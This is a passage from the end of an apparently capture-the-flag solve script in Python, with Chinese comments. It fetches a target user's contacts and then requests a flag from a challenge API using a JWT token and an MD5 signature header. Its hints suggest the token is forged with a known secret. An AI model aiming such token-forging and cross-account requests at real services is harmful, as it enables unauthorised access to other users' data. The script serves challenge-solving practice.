        contacts_url = f"http://{SERVER_IP}/api/v1/contacts?uid={TARGET_UID}"
        contacts_response = requests.get(contacts_url, headers={
            'Authorization': jwt_token,
        }, timeout=10)
        print(f"📊 联系人API响应状态: {contacts_response.status_code}")
        if contacts_response.status_code == 200:
            print(f"📦 联系人数据: {contacts_response.text}")
        else:
            print(f"⚠️  联系人API响应: {contacts_response.text}")
    except Exception as e:
        print(f"⚠️  获取联系人信息失败: {e}")

    # 8. 发送获取flag的请求
    try:
        headers = {
            'Authorization': jwt_token,
            'X-Sign': md5_sign,
            'Content-Type': 'application/json',
            'Accept': 'application/json',
            'User-Agent': 'Flag-Getter/1.0'
        }

        flag_url = f'http://{SERVER_IP}/api/v1/getflag'
        print(f"\n📡 发送Flag请求到: {flag_url}")
        print(f"📋 请求头: {headers}")
        print(f"📋 请求体: {request_json}")

        response = requests.post(
            flag_url,
            headers=headers,
            json=request_body,
            timeout=15
        )

        print(f"📊 响应状态码: {response.status_code}")
        print(f"📦 响应头: {dict(response.headers)}")
        print(f"📦 响应内容: {response.text}")

        if response.status_code == 200:
            try:
                result = response.json()
                print(f"✅ JSON解析成功: {result}")

                # 检查各种可能的flag字段
                flag = None
                if 'flag' in result:
                    flag = result['flag']
                elif 'data' in result and isinstance(result['data'], dict) and 'flag' in result['data']:
                    flag = result['data']['flag']
                elif 'message' in result and 'flag' in str(result['message']).lower():
                    flag = result['message']

                if flag:
                    print(f"\n🎉 成功获取Flag!")
                    print(f"🏆 Flag: {flag}")
                    return flag
                else:
                    print("⚠️  响应中未找到flag字段")
                    return None
            except json.JSONDecodeError:
                print(f"⚠️  响应不是有效的JSON格式")
                # 检查响应中是否直接包含flag
                response_text = response.text.lower()
                if 'flag' in response_text:
                    print(f"🎉 在响应文本中发现flag: {response.text}")
                    return response.text
                return None
        else:
            print(f"❌ 请求失败，状态码: {response.status_code}")
            print(f"❌ 错误信息: {response.text}")
            return None

    except requests.exceptions.RequestException as e:
        print(f"❌ 网络请求错误: {e}")
        return None
    except Exception as e:
        print(f"❌ 处理请求时出错: {e}")
        return None


def main():
    print("🎯 简化版Flag获取工具")
    print("🔧 目标UUID: 9d5ec98c-5848-4450-9e58-9f97b6b3b7bc")
    print("=" * 60)

    flag = get_flag()

    if flag:
        print(f"\n🎊 任务完成!")
        print(f"🏆 最终Flag: {flag}")
        print("=" * 60)
    else:
        print(f"\n❌ 未能获取Flag")
        print("🤔 建议检查:")
        print("  - 网络连接是否正常")
        print("  - 服务器是否可访问")
        print("  - UUID是否正确")
        print("  - JWT密钥是否正确")
        print("=" * 60)


if __name__ == "__main__":
    main()